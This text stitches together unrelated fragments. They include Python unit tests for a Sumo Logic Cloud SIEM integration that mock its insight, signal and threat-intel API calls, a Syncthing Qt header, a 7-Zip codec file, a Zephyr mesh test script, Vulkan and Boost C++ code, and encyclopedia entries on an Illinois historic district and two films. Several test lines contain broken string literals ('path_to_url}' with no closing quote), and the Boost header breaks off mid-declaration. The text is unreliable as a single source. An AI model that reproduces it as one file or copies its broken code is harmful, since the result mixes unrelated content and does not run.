'description%2Cdevice_hostname%2Cdevice_ip%2CdstDevice_hostname%2CdstDevice_ip%2Cemail_sender%2C' 'file_basename%2Cfile_hash_md5%2Cfile_hash_sha1%2Cfile_hash_sha256%2CsrcDevice_hostname%2C' 'srcDevice_ip%2Cthreat_name%2Cthreat_category%2Cthreat_identifier%2Cuser_username%2Cthreat_url%2ClistMatches'.format( MOCK_URL, insight_id), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) client.set_extra_params({'instance_endpoint': 'path_to_url}) args = { 'insight_id': insight_id, 'record_summary_fields': RECORD_SUMMARY_FIELDS_DEFAULT } response = insight_get_details(client, args) assert response.outputs_prefix == 'SumoLogicSec.Insight' assert response.outputs_key_field == 'Id' assert response.outputs == insight assert response.readable_output == tableToMarkdown( 'Insight Details:', [insight], ['Id', 'ReadableId', 'Name', 'Action', 'Status', 'Assignee', 'Description', 'LastUpdated', 'LastUpdatedBy', 'Severity', 'Closed', 'ClosedBy', 'Timestamp', 'Entity', 'Resolution', 'SumoUrl'], headerTransform=pascalToSpace) def test_insight_get_comments(requests_mock): """Tests sumologic-sec-insight-get-comments command function. """ from SumoLogicCloudSIEM import Client, insight_get_comments, DEFAULT_HEADERS mock_response = util_load_json('test_data/insight_comments.json') insight_id = 'INSIGHT-116' comments = mock_response['data']['comments'] requests_mock.get('{}/sec/v1/insights/{}/comments'.format(MOCK_URL, insight_id), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) args = { 'insight_id': insight_id } response = insight_get_comments(client, args) assert response.outputs_prefix == 'SumoLogicSec.InsightComments' assert response.outputs_key_field == 'Id' assert response.outputs[0]['Id'] == comments[0]['id'] == '2' assert response.outputs[0]['Author'] == comments[0]['author']['username'] == 'obfuscated@email.com' assert response.outputs[0]['Body'] == comments[0]['body'] == 'This is an example comment' def test_insight_add_comment(requests_mock): """Tests sumologic-sec-insight-add-comment command function. """ from SumoLogicCloudSIEM import Client, insight_add_comment, DEFAULT_HEADERS mock_response = util_load_json('test_data/insight_add_comment.json') insight_id = 'INSIGHT-116' comment = mock_response['data'] requests_mock.post(f'{MOCK_URL}/sec/v1/insights/{insight_id}/comments', json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) args = { 'insight_id': insight_id } response = insight_add_comment(client, args) assert response.outputs_prefix == 'SumoLogicSec.InsightComments' assert response.outputs_key_field == 'Id' assert response.outputs[0]['Id'] == comment['id'] == '32' assert response.outputs[0]['Author'] == comment['author']['username'] == 'obfuscated@email.com' assert response.outputs[0]['Body'] == comment['body'] == 'Test adding comment via API' def test_signal_get_details(requests_mock): """Tests sumologic-sec-signal-get-details command function. """ from SumoLogicCloudSIEM import Client, signal_get_details, insight_signal_to_readable, DEFAULT_HEADERS mock_response = util_load_json('test_data/signal_details.json') signal_id = '2b449e56-f6e8-5306-980a-447a8c026b77' signal = mock_response.get('data') del signal['allRecords'] signal = insight_signal_to_readable(signal) requests_mock.get('{}/sec/v1/signals/{}'.format(MOCK_URL, signal_id), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) client.set_extra_params({'instance_endpoint': 'path_to_url}) args = { 'signal_id': signal_id } response = signal_get_details(client, args) assert response.outputs_prefix == 'SumoLogicSec.Signal' assert response.outputs_key_field == 'Id' assert response.outputs == signal def test_entity_get_details(requests_mock): """Tests sumologic-sec-entity-get-details command function. """ from SumoLogicCloudSIEM import Client, entity_get_details, entity_to_readable, DEFAULT_HEADERS mock_response = util_load_json('test_data/entity_details.json') entity_id = '_hostname-win10--admin.b.test.com' entity = entity_to_readable(mock_response.get('data')) requests_mock.get('{}/sec/v1/entities/{}'.format(MOCK_URL, entity_id), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) args = { 'entity_id': entity_id } response = entity_get_details(client, args) assert response.outputs_prefix == 'SumoLogicSec.Entity' assert response.outputs_key_field == 'Id' assert response.outputs == entity def test_insight_search(requests_mock): """Tests sumologic-sec-insight-search command function. """ from SumoLogicCloudSIEM import Client, insight_search, insight_signal_to_readable, DEFAULT_HEADERS mock_response = util_load_json('test_data/insight_list.json') insights = [] for insight in mock_response['data']['objects']: insights.append(insight_signal_to_readable(insight)) requests_mock.get('{}/sec/v1/insights?limit=2'.format(MOCK_URL), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) args = { 'limit': '2' } response = insight_search(client, args) assert response.outputs_prefix == 'SumoLogicSec.InsightList' assert response.outputs_key_field == 'Id' assert response.outputs == insights def test_entity_search(requests_mock): """Tests sumologic-sec-entity-search command function. """ from SumoLogicCloudSIEM import Client, entity_search, entity_to_readable, DEFAULT_HEADERS mock_response = util_load_json('test_data/entity_list.json') entities = [] for entity in mock_response['data']['objects']: entities.append(entity_to_readable(entity)) requests_mock.get('{}/sec/v1/entities?q=hostname:matchesWildcard(\"*test*\")&limit=2'.format(MOCK_URL), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) args = { 'query': 'hostname:matchesWildcard(\"*test*\")', 'limit': '2' } response = entity_search(client, args) assert response.outputs_prefix == 'SumoLogicSec.EntityList' assert response.outputs_key_field == 'Id' assert response.outputs == entities def test_signal_search(requests_mock): """Tests sumologic-sec-signal-search command function. """ from SumoLogicCloudSIEM import Client, signal_search, insight_signal_to_readable, DEFAULT_HEADERS mock_response = util_load_json('test_data/signal_list.json') signals = [] for signal in mock_response['data']['objects']: del signal['allRecords'] signals.append(insight_signal_to_readable(signal)) requests_mock.get('{}/sec/v1/signals?q=contentType:\"ANOMALY\"&limit=2'.format(MOCK_URL), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) args = { 'created': 'All time', 'contentType': 'ANOMALY', 'limit': '2' } response = signal_search(client, args) assert response.outputs_prefix == 'SumoLogicSec.SignalList' assert response.outputs_key_field == 'Id' assert response.outputs == signals def test_insight_set_status(requests_mock): """Tests sumologic-sec-insight-set-status command function. """ from SumoLogicCloudSIEM import Client, insight_set_status, insight_signal_to_readable, DEFAULT_HEADERS mock_response = util_load_json('test_data/insight_status.json') insight_id = 'INSIGHT-221' for signal in mock_response['data']['signals']: del signal['allRecords'] insight = insight_signal_to_readable(mock_response.get('data')) requests_mock.put('{}/sec/v1/insights/{}/status'.format(MOCK_URL, insight_id), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) args = { 'insight_id': insight_id, 'status': 'closed', 'resolution': 'Resolved' } response = insight_set_status(client, args) assert response.outputs_prefix == 'SumoLogicSec.Insight' assert response.outputs_key_field == 'Id' assert response.outputs == insight def test_match_list_get(requests_mock): """Tests sumologic-sec-match-list-get command function. """ from SumoLogicCloudSIEM import Client, match_list_get, DEFAULT_HEADERS mock_response = util_load_json('test_data/match_lists.json') match_lists = [] for match_list in mock_response['data']['objects']: match_lists.append({(k[0].capitalize() + k[1:]): v for k, v in match_list.items()}) requests_mock.get('{}/sec/v1/match-lists?limit=5'.format(MOCK_URL), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) args = { 'limit': '5' } response = match_list_get(client, args) assert response.outputs_prefix == 'SumoLogicSec.MatchLists' assert response.outputs_key_field == 'Id' assert response.outputs == match_lists def test_match_list_update(requests_mock): """Tests sumologic-sec-match-list-update command function. """ from SumoLogicCloudSIEM import Client, match_list_update, get_update_result, DEFAULT_HEADERS mock_response = util_load_json('test_data/update_result.json') match_list_id = '166' requests_mock.post('{}/sec/v1/match-lists/{}/items'.format(MOCK_URL, match_list_id), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) args = { 'match_list_id': match_list_id, 'description': 'My description', 'expiration': '2021-05-30T22:36:10.925Z', 'value': '10.20.30.40', 'active': 'true' } response = match_list_update(client, args) assert response.outputs_prefix == 'SumoLogicSec.UpdateResult' assert response.outputs == get_update_result(mock_response.get('data')) def test_threat_intel_search_indicators(requests_mock): """Tests sumologic-sec-threat-intel-search-indicators command function. """ from SumoLogicCloudSIEM import Client, threat_intel_search_indicators, DEFAULT_HEADERS mock_response = util_load_json('test_data/threat_intel_indicators.json') threat_intel_indicators = [] for threat_intel_indicator in mock_response['data']['objects']: threat_intel_indicators.append({(k[0].capitalize() + k[1:]): v for k, v in threat_intel_indicator.items()}) requests_mock.get('{}/sec/v1/threat-intel-indicators?value=11.22.33.44&sourceIds=54'.format(MOCK_URL), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) args = { 'value': '11.22.33.44', 'sourceIds': '54', } response = threat_intel_search_indicators(client, args) assert response.outputs_prefix == 'SumoLogicSec.ThreatIntelIndicators' assert response.outputs_key_field == 'Id' assert response.outputs == threat_intel_indicators def test_threat_intel_get_sources(requests_mock): """Tests sumologic-sec-threat-intel-get-sources command function. """ from SumoLogicCloudSIEM import Client, threat_intel_get_sources, DEFAULT_HEADERS mock_response = util_load_json('test_data/threat_intel_sources.json') threat_intel_sources = [] for threat_intel_source in mock_response['data']['objects']: threat_intel_sources.append({(k[0].capitalize() + k[1:]): v for k, v in threat_intel_source.items()}) requests_mock.get('{}/sec/v1/threat-intel-sources?limit=5'.format(MOCK_URL), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) args = { 'limit': '5' } response = threat_intel_get_sources(client, args) assert response.outputs_prefix == 'SumoLogicSec.ThreatIntelSources' assert response.outputs_key_field == 'Id' assert response.outputs == threat_intel_sources def test_threat_intel_update_source(requests_mock): """Tests sumologic-sec-threat-intel-update-source command function. """ from SumoLogicCloudSIEM import Client, threat_intel_update_source, get_update_result, DEFAULT_HEADERS mock_response = util_load_json('test_data/update_result.json') threat_intel_source_id = '54' requests_mock.post('{}/sec/v1/threat-intel-sources/{}/items'.format(MOCK_URL, threat_intel_source_id), json=mock_response) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) args = { 'threat_intel_source_id': threat_intel_source_id, 'description': 'My description', 'expiration': '2021-05-30T22:36:10.925Z', 'value': '10.20.30.40', 'active': 'true' } response = threat_intel_update_source(client, args) assert response.outputs_prefix == 'SumoLogicSec.UpdateResult' assert response.outputs == get_update_result(mock_response.get('data')) def test_fetch_incidents(requests_mock): """Tests fetch incidents. """ from SumoLogicCloudSIEM import Client, fetch_incidents, DEFAULT_HEADERS mock_response1 = util_load_json('test_data/insight_list_page1.json') requests_mock.get( '{}/sec/v1/insights?q=created%3A%3E%3D2021-05-18T00%3A00%3A00.000000+status%3Ain%28%22new%22%2C+%22inprogress%22%29' '&limit=20&recordSummaryFields=action%2Cdescription%2Cdevice_hostname%2Cdevice_ip%2CdstDevice_hostname' '%2CdstDevice_ip%2Cemail_sender%2Cfile_basename%2Cfile_hash_md5%2Cfile_hash_sha1%2Cfile_hash_sha256' '%2CsrcDevice_hostname%2CsrcDevice_ip%2Cthreat_name%2Cthreat_category%2Cthreat_identifier%2Cuser_username' '%2Cthreat_url%2ClistMatches'.format(MOCK_URL), json=mock_response1) mock_response2 = util_load_json('test_data/insight_list_page2.json') requests_mock.get( '{}/sec/v1/insights?q=created%3A%3E%3D2021-05-18T00%3A00%3A00.000000+status%3Ain%28%22new%22%2C+%22inprogress%22%29' '&limit=20&recordSummaryFields=action%2Cdescription%2Cdevice_hostname%2Cdevice_ip%2CdstDevice_hostname' '%2CdstDevice_ip%2Cemail_sender%2Cfile_basename%2Cfile_hash_md5%2Cfile_hash_sha1%2Cfile_hash_sha256' '%2CsrcDevice_hostname%2CsrcDevice_ip%2Cthreat_name%2Cthreat_category%2Cthreat_identifier%2Cuser_username' '%2Cthreat_url%2ClistMatches&offset=1'.format(MOCK_URL), json=mock_response2) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) client.set_extra_params({'instance_endpoint': 'path_to_url}) next_run, incidents = fetch_incidents(client=client, max_results=20, last_run={}, first_fetch_time=1621296000, fetch_query=None, pull_signals=False, record_summary_fields=RECORD_SUMMARY_FIELDS_DEFAULT, other_args=None) assert incidents[0].get('name') == 'Defense Evasion with Persistence - INSIGHT-231' assert incidents[0].get('occurred') == '2021-05-18T14:46:46.000Z' assert incidents[1].get('name') == 'Defense Evasion with Persistence - INSIGHT-232' assert incidents[1].get('occurred') == '2021-05-18T14:46:47.000Z' latest_created_time = datetime.strptime(incidents[1].get('occurred'), '%Y-%m-%dT%H:%M:%S.%fZ') assert next_run.get('last_fetch') == int(latest_created_time.replace(tzinfo=timezone.utc).timestamp()) def test_fetch_incidents_with_signals(requests_mock): """Tests fetch incidents. """ from SumoLogicCloudSIEM import Client, fetch_incidents, DEFAULT_HEADERS mock_response1 = util_load_json('test_data/insight_list_page1.json') requests_mock.get( '{}/sec/v1/insights?q=created%3A%3E%3D2021-05-18T00%3A00%3A00.000000+status%3Ain%28%22new%22%2C+%22inprogress%22%29' '&limit=20&recordSummaryFields=action%2Cdescription%2Cdevice_hostname%2Cdevice_ip%2CdstDevice_hostname' '%2CdstDevice_ip%2Cemail_sender%2Cfile_basename%2Cfile_hash_md5%2Cfile_hash_sha1%2Cfile_hash_sha256' '%2CsrcDevice_hostname%2CsrcDevice_ip%2Cthreat_name%2Cthreat_category%2Cthreat_identifier%2Cuser_username' '%2Cthreat_url%2ClistMatches'.format(MOCK_URL), json=mock_response1) mock_response2 = util_load_json('test_data/insight_list_page2.json') requests_mock.get( '{}/sec/v1/insights?q=created%3A%3E%3D2021-05-18T00%3A00%3A00.000000+status%3Ain%28%22new%22%2C+%22inprogress%22%29' '&limit=20&recordSummaryFields=action%2Cdescription%2Cdevice_hostname%2Cdevice_ip%2CdstDevice_hostname' '%2CdstDevice_ip%2Cemail_sender%2Cfile_basename%2Cfile_hash_md5%2Cfile_hash_sha1%2Cfile_hash_sha256' '%2CsrcDevice_hostname%2CsrcDevice_ip%2Cthreat_name%2Cthreat_category%2Cthreat_identifier%2Cuser_username' '%2Cthreat_url%2ClistMatches&offset=1'.format(MOCK_URL), json=mock_response2) mock_response3 = util_load_json('test_data/insight_signal_list1.json') url_combo = f'{MOCK_URL}/sec/v1/signals?q=id:in("b4709a3c-c886-5cf0-9c98-88d976161edd","38c4bfea-23b5-5e4f-998c-5433dd093834'\ + '","0f335c0d-5ffe-5637-a868-146e7f401775","3bea8bf1-430d-5f68-b13c-81cdcf614e20","ab1313bf-de71-539c-bae4-922475561a45'\ + '","d1607da7-368b-5341-8aeb-927135c8f307","bc7fb3ac-a86e-57ab-bf34-3f98789bb16f","f845dfc7-dd64-58d9-a4d1-238da768ffd1'\ + '","bb96f1eb-8794-5c69-9e20-f21c43be87aa","8fbe5ecf-c83f-5ed8-9d6f-e5488e34d49c")' requests_mock.get(url_combo, json=mock_response3) mock_response4 = util_load_json('test_data/insight_signal_list2.json') requests_mock.get(f'{MOCK_URL}/sec/v1/signals?q=id:in("2e4f64c2-e8c5-53ae-b0aa-01e5005155a7",' + '"ead54992-94f6-5aa3-b902-ec0fb5318dbc")', json=mock_response4) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) client.set_extra_params({'instance_endpoint': 'path_to_url}) next_run, incidents = fetch_incidents(client=client, max_results=20, last_run={}, first_fetch_time=1621296000, fetch_query=None, pull_signals=True, record_summary_fields=RECORD_SUMMARY_FIELDS_DEFAULT, other_args=None) # Signal incidents should be created first assert incidents[0].get('name') == 'GCP API Permission Denied - b4709a3c-c886-5cf0-9c98-88d976161edd' assert incidents[0].get('occurred') == '2021-05-17T20:02:03.000Z' assert incidents[1].get('name') == 'GCP Audit Logging Sink Modified - 38c4bfea-23b5-5e4f-998c-5433dd093834' assert incidents[1].get('occurred') == '2021-05-18T14:30:00.000Z' assert incidents[2].get('name') == 'GCP Audit GCE Network Route Created or Modified - 0f335c0d-5ffe-5637-a868-146e7f401775' assert incidents[2].get('occurred') == '2021-05-17T16:24:23.000Z' assert incidents[11].get('name') == 'GCP Audit Pub/Sub Topic Deleted - ead54992-94f6-5aa3-b902-ec0fb5318dbc' assert incidents[11].get('occurred') == '2021-05-18T14:45:51.000Z' # Followed by Insight incidents assert incidents[12].get('name') == 'Defense Evasion with Persistence - INSIGHT-231' assert incidents[12].get('occurred') == '2021-05-18T14:46:46.000Z' assert incidents[13].get('name') == 'Defense Evasion with Persistence - INSIGHT-232' assert incidents[13].get('occurred') == '2021-05-18T14:46:47.000Z' latest_created_time = datetime.strptime(incidents[13].get('occurred'), '%Y-%m-%dT%H:%M:%S.%fZ') assert next_run.get('last_fetch') == int(latest_created_time.replace(tzinfo=timezone.utc).timestamp()) DEMISTO_ARGS = {'api_endpoint': MOCK_URL, 'access_id': 'SUMO_ACCESS_ID', 'access_key': 'SUMO_ACCESS_KEY'} def get_demisto_arg(name): if name in DEMISTO_ARGS: return DEMISTO_ARGS[name] raise Exception( f'Test setup did not specify a Demisto argument named {name}.' ) def test_get_remote_data_command(requests_mock, mocker): from SumoLogicCloudSIEM import Client, get_remote_data_command, DEFAULT_HEADERS mocker.patch.object(demisto, 'getParam', get_demisto_arg) client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) client.set_extra_params({'instance_endpoint': 'path_to_url}) args = { 'id': 'INSIGHT-220', 'lastUpdate': 1621296000, } mock_response = util_load_json('test_data/insight_details.json') requests_mock.get(f'{MOCK_URL}/sec/v1/insights/INSIGHT-220?exclude=signals.allRecords', json=mock_response) response = get_remote_data_command(client, args, True) assert isinstance(response, GetRemoteDataResponse) assert response.entries[0]['Type'] == EntryType.NOTE assert response.entries[0]['Contents']['dbotIncidentClose'] is True assert response.entries[0]['Contents']['closeReason'] == 'Other' assert response.entries[0]['Contents']['closeNotes'].\ startswith('Insight INSIGHT-220 was closed on Sumo Logic SIEM with resolution') assert demisto.getParam('api_endpoint') == DEMISTO_ARGS['api_endpoint'] def test_update_remote_system_command(requests_mock, mocker): from SumoLogicCloudSIEM import Client, update_remote_system_command, DEFAULT_HEADERS client = Client( base_url=MOCK_URL, verify=False, headers=DEFAULT_HEADERS, proxy=False, auth=('access_id', 'access_key'), ok_codes=[200]) client.set_extra_params({'instance_endpoint': 'path_to_url}) args = { 'data': {'id': '8196'}, 'entries': [], 'incidentChanged': True, 'remoteId': 'INSIGHT-220', 'status': IncidentStatus.DONE, 'delta': { 'closeNotes': 'Closing incident', 'closeReason': 'For UT', 'closingUserId': 'admin', 'runStatus': 'completed' }, } params = {'close_insight': True} mock_response = util_load_json('test_data/insight_add_comment.json') requests_mock.post(f'{MOCK_URL}/sec/v1/insights/INSIGHT-220/comments', json=mock_response) mock_response = util_load_json('test_data/insight_status.json') requests_mock.put(f'{MOCK_URL}/sec/v1/insights/INSIGHT-220/status', json=mock_response) response = update_remote_system_command(client, args, params) # This Insight ID comes from insight_status.json so it's different assert response == 'INSIGHT-221' def test_arg_time_to_q(requests_mock, mocker): from SumoLogicCloudSIEM import arg_time_query_to_q assert arg_time_query_to_q('query>', 'Last week', 'ts') == 'query> ts:NOW-7D..NOW' assert arg_time_query_to_q('query>', 'Last 48 hours', 'ts') == 'query> ts:NOW-48h..NOW' assert arg_time_query_to_q('query>', 'Last 24 hours', 'ts') == 'query> ts:NOW-24h..NOW' # python2 uses __builtin__ python3 uses builtins if __name__ == "__builtin__" or __name__ == "builtins": main() ```
```objective-c #ifndef SYNCTHINGWIDGETS_INTERNAL_ERRORS_DIALOG_H #define SYNCTHINGWIDGETS_INTERNAL_ERRORS_DIALOG_H #include "./internalerror.h" #include "./textviewdialog.h" #include <vector> QT_FORWARD_DECLARE_CLASS(QLabel) namespace QtGui { class SYNCTHINGWIDGETS_EXPORT InternalErrorsDialog : public TextViewDialog { Q_OBJECT public: ~InternalErrorsDialog() override; static InternalErrorsDialog *instance(); static bool hasInstance(); static void addError(InternalError &&newError); static void addError(const QString &message = QString(), const QUrl &url = QUrl(), const QByteArray &response = QByteArray()); Q_SIGNALS: void errorsCleared(); public Q_SLOTS: static void showInstance(); static void clearErrors(); private Q_SLOTS: void internalAddError(const InternalError &error); void updateStatusLabel(); private: InternalErrorsDialog(); const QString m_request; const QString m_response; QLabel *const m_statusLabel; static InternalErrorsDialog *s_instance; static std::vector<InternalError> s_internalErrors; }; inline InternalErrorsDialog *InternalErrorsDialog::instance() { return s_instance ? s_instance : (s_instance = new InternalErrorsDialog); } inline bool InternalErrorsDialog::hasInstance() { return s_instance != nullptr; } inline void InternalErrorsDialog::showInstance() { instance()->show(); } } // namespace QtGui #endif // SYNCTHINGWIDGETS_INTERNAL_ERRORS_DIALOG_H ```
The Quincy Northwest Historic District is a primarily residential historic district in Quincy, Illinois, USA. Located north and west of the city's downtown, the district encompasses over 1,600 contributing buildings; these buildings represent almost every prominent architectural style used between 1840 and 1950. The district developed somewhat irregularly, with no consistent plan or progression; however, development roughly spreads away from downtown and the Mississippi River. While most buildings in the districts are homes, businesses and industrial buildings are interspersed in residential areas without forming clear areas of non-residential use. The Italianate and Queen Anne styles are the two most prevalent of the many formal architectural styles which can be seen in the district; common vernacular styles include the gable front house, the shotgun house, the I-house and the bungalow. The district was added to the National Register of Historic Places on May 11, 2000. References Italianate architecture in Illinois Queen Anne architecture in Illinois National Register of Historic Places in Adams County, Illinois Quincy, Illinois Historic districts on the National Register of Historic Places in Illinois Tourist attractions in Quincy, Illinois
```c++ // PPMDRegister.cpp #include "StdAfx.h" #include "../../Common/RegisterCodec.h" #include "PPMDDecoder.h" static void *CreateCodec() { return (void *)(ICompressCoder *)(new NCompress::NPPMD::CDecoder); } #ifndef EXTRACT_ONLY #include "PPMDEncoder.h" static void *CreateCodecOut() { return (void *)(ICompressCoder *)(new NCompress::NPPMD::CEncoder); } #else #define CreateCodecOut 0 #endif static CCodecInfo g_CodecInfo = { CreateCodec, CreateCodecOut, 0x030401, L"PPMD", 1, false }; REGISTER_CODEC(PPMD) ```
```shell #!/usr/bin/env bash source $(dirname "${BASH_SOURCE[0]}")/../../_mesh_test.sh # Test that the LCD server model is able to split the # composition data when the total size exceeds the maximum access message size. # The test environment simulates a scenario where the server has completed DFU. # # Test procedure: # 0. Provisioning and setup. Server and client has same comp data. # 1. Client requests a sample exceeding the maximum avaialble payload from the # server's composition data. # 2. Client fetch its local comp data. # 3. When server status arrive, remove status field data and compare received # comp data with corresponding bytes in local comp data. # 4. Client requests the next sample from server's composition data. # 5. When server status arrive, remove status field data and compare received # comp data with correspending bytes in local comp data. # 6. Client merges the two samples and checks that the collected data is # correctly merged, continuous, and matches its local comp data. overlay=overlay_pst_conf RunTest mesh_lcd_test_comp129_data_split_dfu \ lcd_srv_comp_data_status_respond \ lcd_cli_split_comp_data_request -- -argstest page=129 comp-changed-mode=1 overlay="overlay_pst_conf_overlay_psa_conf" RunTest mesh_lcd_test_comp129_data_split_dfu \ lcd_srv_comp_data_status_respond \ lcd_cli_split_comp_data_request -- -argstest page=129 comp-changed-mode=1 ```
Laaj () is a 2003 Pakistani Urdu language film written and directed by Rauf Khalid. The film features Zara Sheikh and Imran Khan in lead roles. Film's music is composed by Amjad Bobby. Plot The story is set in old India under British rule, in the 1920s. The warring Pathans of the North West region of India had become more aggressive towards the ruling Britain. The Fakir of Ippy was already a living legend before he started a war that was fought over the love of a couple that knew no bounds of religion, cast, color or language. A wealthy Hindu girl named Ram Kori, using the alias Chand Bibi, runs away from her home with a Pathan boy Noor Ali Khan and meets a mystic Muslim leader called the 'Fakir of Ippy'. The Fakir marries Noor Ali Khan and Ram Kori after she accepts Islam and agrees to be renamed as Noor Jahan. The influential and rich Hindus of the area go to the British Court run by an English Political Agent involved in both the executive and the judiciary. The agent is, in actuality, against the warring Pathans, and he intends to teach them a lesson. In the court, the political agent decides against the couple's case. Since Noor Jahan had become a Muslim, she was to be tried under Muslim Law, where a girl of fourteen years is adult and can choose her husband. However, according to the political agent's decision, since under the English Law a girl is considered minor till she reaches the age of eighteen, both her acceptance of Islam as well as her marriage are made void. The Muslim lawyers representing Noor Jahan insisted that the court also decree that the girl will not be taken away from the city Bannu, which was granted. However, Noor Jahan was secretly taken away to Hoshiarpur where the girl's parents lived. Noor Ali Khan, at the behest of the faqir, goes to Hoshiarpur. He exchanges hot words with Noor Jahan's family, resulting in his stabbing a man and then his arrest. He eventually broke out of the jail, picked up Noor Jahan and come back to Waziristan area. The British, after a failed dialogue, attack the village. The Fakir, unhappy with the attack, wages a holy war against the English. Backed by German aid, he starts Guerilla warfare against the British. Cast Zara Sheikh Nirma Resham Talat Hussain Najeebullah Anjum Rashid Mehmood Usman Mughal Afshan Quershi Nayyar Ejaz James Kavaz Pat Kelman Abdul Mannan as captain Awards and recognition National Film Awards (film Laaj won 4 awards) See also List of Urdu-language films References External links 2003 films 2000s Urdu-language films Pakistani historical films Films directed by Rauf Khalid Films scored by Amjad Bobby Films set in the British Raj Films set in the 1920s
```c++ // // // path_to_url // // Unless required by applicable law or agreed to in writing, software // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // // ignore warning 4127: conditional expression is constant #if defined( _MSC_VER ) # pragma warning( disable : 4127 ) #elif defined( __GNUC__ ) // don't know how to switch off that warning here #else // unknow compiler... just ignore the warnings for yourselves ;) #endif #include "math.hpp" namespace vk { namespace su { glm::mat4x4 createModelViewProjectionClipMatrix( vk::Extent2D const & extent ) { float fov = glm::radians( 45.0f ); if ( extent.width > extent.height ) { fov *= static_cast<float>( extent.height ) / static_cast<float>( extent.width ); } glm::mat4x4 model = glm::mat4x4( 1.0f ); glm::mat4x4 view = glm::lookAt( glm::vec3( -5.0f, 3.0f, -10.0f ), glm::vec3( 0.0f, 0.0f, 0.0f ), glm::vec3( 0.0f, -1.0f, 0.0f ) ); glm::mat4x4 projection = glm::perspective( fov, 1.0f, 0.1f, 100.0f ); // clang-format off glm::mat4x4 clip = glm::mat4x4( 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, -1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.5f, 0.0f, 0.0f, 0.0f, 0.5f, 1.0f ); // vulkan clip space has inverted y and half z ! // clang-format on return clip * projection * view * model; } } // namespace su } // namespace vk ```
O Jogo da Vida is a 1977 Brazilian drama film directed by Maurice Capovila. It is an adaptation of the short story Malagueta, Perus e Bacanaço, by João Antônio. The film has as special guests the professional sinuca (Brazilian snooker game) players Carne Frita, Joaquinzinho (former Brazilian champion) and João Gaúcho. It features soundtrack by João Bosco and Aldir Blanc and musical direction by Radamés Gnatalli in his last work for cinema. Cast Lima Duarte...Malagueta Gianfrancesco Guarnieri...Perus Maurício do Valle...Bacanaço Joffre Soares...Lima (special participation) Myrian Muniz...Tonica (special participation) Martha Overbeck...Adélia (special participation) Maria Alves... Bacanaço's wife Antônio Petrin...Silveirinha Emmanuel Cavalcanti Fernando Bezerra Thaia Perez Oswaldo Campozana Maria Vasco Cavagnoli Neto Wanda Marchetti Edson Santos Synopsis A trio of misfit friends, Malagueta, Perus and Bacanaço, wander through the São Paulo night planning to win money with scams and betting on cue games. On intervals, flashbacks show scenes of each one's recent past: Malagueta became homeless after his house was torn down after an eviction, Perus (named after the homonymous district), frequently quarrels with his wife for being unsatisfied with his job at a cement factory and his neighborhood, and Bacanaço is seen exploiting women, escaping a shootout and being arrested by acting on Jogo do Bicho. Awards and nominations Festival de Gramado – 1978 Winner – Kikito de Ouro for Best Supporting Actress: Myrian Muniz Nominated – Best film. References External links Films directed by Maurice Capovila Brazilian drama films 1970s Portuguese-language films 1977 films Snooker films 1977 drama films
```c++ // // file LICENSE_1_0.txt or copy at path_to_url // // 2013/10 Vicente J. Botet Escriba // Creation. #ifndef BOOST_CSBL_DEVECTOR_HPP #define BOOST_CSBL_DEVECTOR_HPP #include <boost/config.hpp> #include <boost/thread/csbl/vector.hpp> #include <boost/move/detail/move_helpers.hpp> namespace boost { namespace csbl { template <class T> class devector { typedef csbl::vector<T> vector_type; vector_type data_; std::size_t front_index_; BOOST_COPYABLE_AND_MOVABLE(devector) template <class U> void priv_push_back(BOOST_FWD_REF(U) x) { data_.push_back(boost::forward<U>(x)); } public: typedef typename vector_type::size_type size_type; typedef typename vector_type::reference reference; typedef typename vector_type::const_reference const_reference; devector() : front_index_(0) {} devector(devector const& x) BOOST_NOEXCEPT : data_(x.data_), front_index_(x.front_index_) {} devector(BOOST_RV_REF(devector) x) BOOST_NOEXCEPT : data_(boost::move(x.data_)), front_index_(x.front_index_) {} devector& operator=(BOOST_COPY_ASSIGN_REF(devector) x) { if (&x != this) { data_ = x.data_; front_index_ = x.front_index_; } return *this; } devector& operator=(BOOST_RV_REF(devector) x) #if defined BOOST_THREAD_USES_BOOST_VECTOR 